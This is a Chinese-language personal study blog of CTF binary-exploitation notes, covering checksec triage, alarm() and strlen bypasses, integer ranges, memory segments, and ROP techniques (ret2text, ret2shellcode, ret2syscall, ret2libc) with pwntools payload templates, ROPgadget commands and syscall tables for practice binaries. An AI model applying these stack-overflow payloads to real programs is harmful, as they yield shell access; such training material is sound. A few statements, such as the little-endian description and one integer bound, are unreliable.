某些小知识记录(持续更新)

本文最后更新于:2023年10月29日 晚上

利用checksec可以猜测题目大致考的方向

整理

没有NX,自带系统命令,直接返回地址,ret2text

没有NX,找不到system(),有可执行段,可写入shellcode,ret2shellcode

(mprotected(,,7)有对某段地址提高权限的能力,可以写入shellcode)

可以有NX,找得到system()的plt的绝对地址,没有binsh,ret2libc2

有NX,利用ROPgadget配合int 0x80调用execve,ret2syscall

有NX,利用Libc获取system(),binsh相对位置,ret2libc

未整理

注意堆栈平衡


关于alarm()反调试的绕过

目的仅为反调试的绕过方法,而非反过来利用

alarm函数被引用于unistd.h头文件,其函数原型为unsigned int alarm(unsigned int seconds)

alarm()函数的主要功能是设置信号传送闹钟,即用来设置信号SIGALRM在经过参数seconds秒数后发送给目前的进程。如果未设置信号SIGALARM的处理函数,那么alarm()默认处理终止进程。

绕过方法:

以文本编辑器打开,搜索alarm并将其修改为isnan


关于strlen()检查字符串长度的绕过

*C库函数 size_t strlen(const char str)计算字符串str的长度,直到首个空结束字符(\000),但不包括空结束字符。

例:

char str[7]={‘1’,’2’,’3’,’\000’,’4’,’5’};

strlen(str)的返回值为3

如果文件存在对输入message长度的检查,可以利用’\000’字符绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
int main() { //压行,自行Astyle。
char str[16]={}; int i;
for(i = 0;i <= 16; i++) printf("%d",(int)str[i]);
printf("\n");
for(i = 0;i < 16 ; i++) {
str[i] = (char)(i+'A');
printf("%c",str[i]);
} printf("\n");
str[3] = '\000';
for(i = 0;i <= 16; i++) printf("%d",(int)str[i]);
printf("\n");
for(i = 0;i < 16 ; i++) printf("%c",str[i]);
printf("\n");
printf("%d\n",strlen(str));
printf("%s",&str);
return 0;
}

第一个strlen打印16,第二个打印3。(均为正常输出)

即在使用strlen的情况下,填入’\000’能够有效保护后面的字符。

使用编译器为MinGW4.9.2-tdm64-3、TDM-GCC4.9.2-tdm-3(x86),对应IDE为BloodShed Dev-C++5.11,保证str所在栈后后缓冲区且能够正常填入’\000’(无论是在x86还是x86-64条件下均正常)。


利用atoi(),并检测首字符的情况

atoi()函数会尽量去除字符串开头的所有空格,则可在字符串开头添加一个或多个空格。


利用strtol函数去控制gadget

1
long int strtol(const char *str, char **endptr, int base)

该函数会在处理str字符串时截断在第一个不能转化为数字的位置,并将剩余部分用’\x00’做截断,将endptr参数赋值为str被截断位置下一个字符地址,base为基数。

该函数在处理字符串过程中,会将处理后的数字后面填’\x00’后放入rdi寄存器中,同时rax会被赋值为返回值,由此便可控制rax与rdi寄存器。


一些溢出类型

char*(定长的string)型溢出

大多为使用:

scanf(“%s”,buf);

gets(buf);

这种类型的溢出利用了函数调用后由于栈溢出造成的溢出到r,造成返回到输入地址的情况。

我们可以使用fgets()函数去避免既没有栈保护,也没有输入限制的情况。

数据(多为int)型溢出

不多说:

1
2
3
4
5
6
7
8
9
10
11
int: -2147483648 ~ 2147483647(-2^31^ ~ 2^31^-1)

unsigned int: 0 ~ 4294967295(0 ~ 2^32^-1)

long long: -2^63^ ~ 2^63^-1

unsigned long long: 0 ~ 2^64^-1

short: -32768 ~ 32767(-2^15^ ~ 2^15^-1)

unsigned short: 0 ~ 65535(0 ~ 2^16^-1)

以上整形均与编译环境有关,如当为16位(DOS)环境时,int范围为-32768 ~ 32767。WIN32[x86(-64)]中为-2147483648 ~ 2147483637.

1
2
3
4
5
6
7
char: -128 ~ 127(-2^7^ ~ 2^7^-1)

unsigned char: 0 ~ 255(0 ~ 2^8^-1)

word: 二字节,一定为0 ~ 65535

DWORD: 四字节,一定为0 ~ 4294967295
C Data Type Typical 32-bit Typical 64-bit x86-64
char 1 1 1
short 2 2 2
int 4 4 4
long 4 8 8
float 4 4 4
double 8 8 8
long double - - 10/16
pointer 4 8 8

溢出形式:

mov ax,FFFFH ;ax = 1111 1111

sub ax,1 ;ax = (1)0000 0000,全部被推出去


浮点数转十六进制

在线进制转换-IEE754浮点数16进制转换 (lostphp.com)

之后补算法类型工具。


大端法,小端法

x86架构大多使用小端法,即地址顺序由大到小。


栈 与 堆

Stack

栈地址从高到低,运用栈寄存器ESP和EBP去限制初始化的栈空间大小。

SS为栈的段地址寄存器,SP为栈的偏移地址寄存器。

heap

堆地址从低到高,大多为后申请的空间。


关于段地址的一些小内容

BSS段:BSS段(bss segment)通常是指用来存放程序中未初始化的或者初始值为0的全局变量的一块内存区域。BSS是英文Block Started by Symbol的简称。BSS段属于静态内存分配。

数据段:数据段(data segment)通常是指用来存放程序中已初始化的全局变量的一块内存区域。数据段属于静态内存分配。

BSS段

BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量(Global variables)静态变量(Static variables)的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。

可执行程序包括BSS段、数据段、代码段(也称文本段)。

UNIX下可使用size命令查看可执行文件的段大小信息。


关于ROP部分的部分理解

ret2text

system("/bin/sh");

其对应汇编为

1
2
push binsh_addr
call system

call system语句等价于

1
2
push [eip+5]	;syscall x86
jmp system

call指令一般都是5字节长度,所以这里保存的是下一条指令的地址。

栈溢出控制rip/eip,使IP直接指向,其实就相当于jmp system语句少了保存地址,所以我们要填一个返回地址给它。

(但是如果是调用system(“/bin/sh”)后就直接getshell了,返回地址是什么都无所谓,这种题目填0xdeadbeef来开小玩笑,后面才会用到)

以ctf-wiki上的ret2text题目为例,这种payload一般可以构造为:

payload = b'a'*offset + p32(target_addr)

ret2shellcode

ret2shellcode类型题没有调用system函数,没有程序自带的后门,需要自己写(或用shellcraft等工具辅助构造)shellcode(指用于完成某个功能的汇编代码),并让程序执行这段shellcode(即所写入区域必须要有可读可写可执行权限,一般是BSS段),getshell。

以ctf-wiki上的ret2shellcode为例,这种payload一般可以构造为:

1
2
3
shellcode = asm(shellcraft.sh())
buf2_addr = 0xaddress
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)

ljust方法将原字符串左对齐,并使用第二个参数填充至指定长度,并返回新的字符串。

ret2shellcode的原理相当于利用汇编语言写了一段system(“/bin/sh”)的函数并且通过被ret2到而执行。

shellcode的构造受架构、系统、操作系统位数影响,使用时应在exp前部加上对应的内容,如下:

1
context.binary = '文件位置'
1
context(arch = 'amd64', system = 'linux')	# x86为i386

ret2syscall

ret2syscall是控制程序执行系统调用,getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

在电脑中,系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

1. 应用程序调用库函数(API);
2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
5. 中断处理函数返回到 API 中;
6. API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是:

1. 把系统调用的编号存入 EAX;
2. 把函数参数存入其它通用寄存器;
3. 触发 0x80 号中断(int 0x80)。

以上内容摘自系统调用 - 维基百科,自由的百科全书 (wikipedia.org)

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell(x86)。

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

ret2syscall类型题是我们第一次使用ROPgadgets工具,因为本次我们需要控制这些寄存器的值。

比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。

ret2syscall类型题非常明显,多为静态编译,或者存在int 0x80(x86),或者存在syscall(x86_64),并且会非常常需要去搜找一些必要的gadget并控制加以利用。

所以首先我们需要寻找控制eax的gadgets

ROPgadget –binary ret2syscall –only “pop|ret” | grep “eax”

也可以用类似的语句来进行查询ebx等,但由于ebx->/bin/sh, ecx->0, edx->0,可以在查询一个寄存器的同时在表中找到相关的gadgets

ROPgadget –binary ret2syscall –only “pop|ret” | grep “ebx”

以ctf-wiki上的ret2syscall为例,可以选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx; ret

ret2syscall类型题需要获得”/bin/sh”字符串对应地址,int 0x80的地址,那么还需要ROPgadget去查找到其位置

ROPgadget –binary ret2syscall –string “int”

以CTF-wiki上的例题为例,该题的payload可构造为:

payload = b'a' * offset + p32(pop_eax_ret) + p32(0xb) + p32(pop_edcbx_ret) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)

如果原题目中没有“/bin/sh”字符串,则应先调用eax为3的read函数,再去构造eax为0xb的system函数。注意,每当需要调用一个函数的时候,最后都应返回到一次“int 0x80”。

注:公共syscall函数文档 x86_syscallx86_64_syscallarm_syscallarm64_syscall

x86常见syscall及调用形式

SYSCALL NAME eax ebx ecx edx esi edi ebp
read 3 unsigned int fd char *buf size_t count - - -
write 4 unsigned int fd const char *buf size_t count - - -
open 5 const char *filename int flags umode_t mode - - -
execve 11(B) const char *filename const char *const *argv const char *const *envp - - -
mprotect 125(7D) unsigned long start size_t len unsigned long prot - - -

x86_64常见syscall及调用形式

SYSCALL NAME rax rdi rsi rdx r10 r8 r9
read 0 unsigned int fd char *buf size_t count - - -
write 1 unsigned int fd const char *buf size_t count - - -
open 2 const char *filename int flags umode_t mode - - -
execve 59(3B) const char *filename const char *const *argv const char *const *envp - - -
mprotect 10(A) unsigned long start size_t len unsigned long prot - - -

arm常见syscall及调用形式

SYSCALL NAME r7 r0 r1 r2 r3 r4 r5
read 3 unsigned int fd char *buf size_t count - - -
write 4 unsigned int fd const char *buf size_t count - - -
open 5 const char *filename int flags umode_t mode - - -
execve 11(B) const char *filename const char *const *argv const char *const *envp - - -
mprotect 125(7D) unsigned long start size_t len unsigned long prot - - -

arm64常见syscall及调用形式

SYSCALL NAME x8 x0 x1 x2 x3 x4 x5
read 63(3F) unsigned int fd char *buf size_t count - - -
write 64(40) unsigned int fd const char *buf size_t count - - -
openat 56(38) int dfd const char *filename int flags umode_t mode - -
execve 11(B) const char *filename const char *const *argv const char *const *envp - - -
mprotect 226(E2) unsigned long start size_t len unsigned long prot - - -

libc是什么

libc为Linux下原来的标准ANSI C库。是基本的C语言函数库,包含了C语言最基本的库函数。

那么ret2libc类型题即是利用库函数和”/bin/sh”字段去getshell。

ret2libc类型题始终绕不开利用libc库plt表(中的函数)与”/bin/sh”去getshell的过程。

ret2libc类型题主要利用了动态链接,这是与ret2syscall不同的一点,静态链接大可能是ret2syscall。

plt表与got表

如当调用printf函数时,先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址,got表指向glibc中的地址。

当首次调用函数时,过程为:plt->got->plt->公共plt->动态连接器_dl_runtime_resolve->找到函数地址。其中,_dl_runtime_resolve函数作用为查找函数地址并返回给got表。

之后调用时,过程为:plt->got->直接获取函数地址,因为此时got表已经记录函数地址。

[StormQ’s Blog (csstormq.github.io)](https://csstormq.github.io/blog/计算机系统篇之链接(14):.plt、.plt.got、.got 和 .got.plt section 之间的区别)

ret2libc1类型题

有/bin/sh,有system函数,但system函数并没有直接调用/bin/sh字符串

此类型题源码可能为

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<定义了system函数的头文件> //其一定在.plt表里
char binsh[]="/bin/sh\x00";
int sys() {
system("echo ?");
}
int main() {
int buf[16];
gets(buf);
return 0;
}

很明显,我们需要在BSS段中找到”/bin/sh”所在地址和system函数所在PLT表中的地址。即先填充数组栈空间,返回到PLT表中system函数的位置。这里注意,system函数调用时会有一个对应的返回地址,所以我们需要在调用system函数后首先任意填充(32/64) / 8 = (4/8)个字节的字符,再填充一个/bin/sh所在地址作为system函数的参数

因此,此类型的32位payload编写一般为

payload = b’a’*offset + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)

ret2libc2类型题

无/bin/sh,有system函数

此类型题源码可能为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<unistd.h>
#include<定义了system函数的头文件>
//char binsh[]="/bin/sh";
char save[100];
//上述保存/bin/sh的内容不再存在,但提供了一个空的可读可写可执行区域可提供攻击者进行保存/bin/sh字符串
int sys() {
system("echo ?");
}
int main(int argc, char** argv) {
int buf[16];
//gets(buf); scanf("%s", buf);这三种函数都明显地可以存在栈溢出行为
read(0, buf, 0x100);
return 0;
}

注意,如下两种解法都是需要后续再次自行sendline(“/bin/sh”)或自行输入”/bin/sh”的,原理均为返回到输入的函数并调用该函数,使其读入输入缓冲区中的下次输入内容。

32位:

解法1:首先填充原程序通过read函数读的栈空间,先造成一次栈溢出,本次栈溢出的返回地址为read函数的地址,我们需要利用第二次的read函数去读下一次输入(*即下一次sendline的内容)并将其内容保存到一个可读可写(不需要可执行)段中的一个寄存器中,read函数也存在一个返回地址,这里首先填充函数的开头去重新执行整个程序,接下来填充read函数的三个参数,fd、读入数组变量所在首地址、最大读入数据量(如果是scanf函数或者gets函数则不需要fd、读入字量这两个参数的构造),最后是填充上返回到system的地址,再占用system函数的返回地址,最后填入system函数调用的地址。

以ctf-wiki上的ret2libc2为例(使用gets函数),该种payload在栈中部署形态为:

该段内容选自好好说话之ret2libc2_hollk的博客-CSDN博客,略作自己可以看得懂的修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
+---------------------------+
| buf2 | buf2中的/bin/sh作为system_plt的参数
+---------------------------+
| 0xdeadbeef | deadbeef作为system_plt的返回地址
+---------------------------+
| system_plt | 调用system_plt
+---------------------------+
| buf2 | buf2地址作为gets的参数接收/bin/sh
+---------------------------+
| pop+ebx | gadget作为gets调用后的返回地址
+---------------------------+
| gets_plt | 覆盖原ret返回位置,调用gets_plt
+---------------------------+
| aaaa | aaaa覆盖原saved ebp位置
+---------------------------+<---ebp
| aaaa | aaaaaaaa占位填满栈空间
| .... | .....
| aaaa | aaaaaaaa占位填满栈空间
| aaaa | aaaaaaaa占位填满栈空间
| aaaa | aaaaaaaa占位填满栈空间
| aaaa | aaaaaaaa占位填满栈空间
+---------------------------+<--v4终止位置,ebp-0x64

payload = flat([b'a'*112, gets_plt, pop_ebx_ret, buf2, system_plt, 0xdeadbeef, buf2])

若使用read函数,其payload可以写为

payload = 'a'*112 + p32(read_plt) + p32(pop_ebx_ret) + p32(0) + p32(buf2) + p32(0x100) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)

pop_ebx_ret仅作为一个使指针上移的寄存器,弹给任何一个寄存器都没关系,只需要有返回。

ROPgadget –binary ret2libc2 –only “pop|ret”

解法2:首先填充原程序通过read函数读的栈空间,先造成一次栈溢出,本次栈溢出的返回地址为read函数的地址,我们需要利用第二次的read函数去读下一次输入(*即下一次sendline的内容)并将其内容保存到一个可读可写(不需要可执行)段中的一个寄存器中,read函数也存在一个返回地址,此时我们让read函数直接指向system函数的地址,接下来填入read函数的三个参数(fd、数组变量首地址、最大读入字量)(如果是scanf函数或者gets函数则不需要fd、读入字量这两个参数的构造),最后填入system函数调用的变量地址。

以ctf-wiki上的ret2libc2为例(使用gets函数),该种payload在栈中部署形态(ROP链)为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+---------------------------+
| buf2 |使buf2中的/bin/sh作为system_plt的参数
+---------------------------+
| buf2 |buf2地址作为gets的参数接收/bin/sh
+---------------------------+
| system_plt |调用system_plt
+---------------------------+
| get_plt |覆盖原ret返回位置,调用gets_plt
+---------------------------+
| aaaa |
| .... |
| aaaa |
| aaaa |
+---------------------------+<--v4终止位置,ebp-0x64

payload = 'a'*112 + p32(gets_plt) + p32(system_plt) + p32(buf2) + p32(buf2)

若使用read函数,其payload可以写为

payload = flat(['a'*112, read_plt, system_plt, 0x00, buf2, 0x100, buf2])

patchelf

patchelf --set-interpreter ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so --set-rpath ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64 target_file

patchelf --set-interpreter ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so --replace-needed libc.so.6 ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6 target_file

sudo ln ld-2.26.so /lib64/ld-2.26.so #然后设置解释器和libc,这样就能进行debug #设置解释器 patchelf --set-interpreter /lib64/ld-2.26.so ./gundam #设置libc patchelf --replace-needed libc.so.6 ~/2.26-0ubuntu2_amd64/libc-2.26.so ./gundam

p = process(['/home/xuehuzhou/2.27-3ubuntu1_amd64/ld-2.27.so', './gundam'], env={"LD_PRELOAD":'/home/xuehuzhou/2.27-3ubuntu1_amd64/libc.so.6'})

cp -r ~/ctf2021/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/ ./debug

set debug-file-directory debug/

glibc2.35内核态栈比glibc2.27内核态栈长0x30


某些小知识记录(持续更新)
http://example.com/2022/11/04/某些小知识记录/
作者
OSLike
发布于
2022年11月4日
许可协议